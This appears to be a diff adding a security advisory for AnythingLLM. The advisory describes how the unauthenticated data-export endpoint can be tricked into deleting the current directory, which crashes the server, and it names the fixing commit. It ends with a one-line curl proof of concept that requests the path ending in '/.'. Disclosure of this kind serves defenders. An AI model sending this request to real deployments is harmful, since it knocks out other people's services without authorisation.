+
+## Summary
+
+An API route (file export) can allow an unauthenticated attacker to crash the AnythingLLM server resulting in a denial of service attack.
+
+## Component
+
+[AnythingLLM](https://github.com/Mintplex-Labs/anything-llm)
+
+
+
+## Affected versions
+
+No version tags. Fixed in commit [08d33cf](https://github.com/Mintplex-Labs/anything-llm/commit/08d33cfd8fc47c5052b6ea29597c964a9da641e2)
+
+
+
+## Description
+
+The “data-export” endpoint is used to export files using the filename parameter as user input.
+
+The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it.
+
+An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server will crash as there is no error-handling wrapper around it.
+
+Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet.
+
+
+
+## PoC
+
+As the API endpoint is unauthenticated there is only a need for a single HTTP request to crash the server:
+
+```shell
+curl -i -s -k -X $'GET' \
+-H $'Host: localhost:3001' \
+-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' \
+-H $'Accept: */*' \
+-H $'Accept-Language: en-US,en;q=0.5' \
+-H $'Accept-Encoding: gzip, deflate' \
+-H $'Connection: close' \
+$'http://localhost:3001/api/system/data-exports/.'
+```
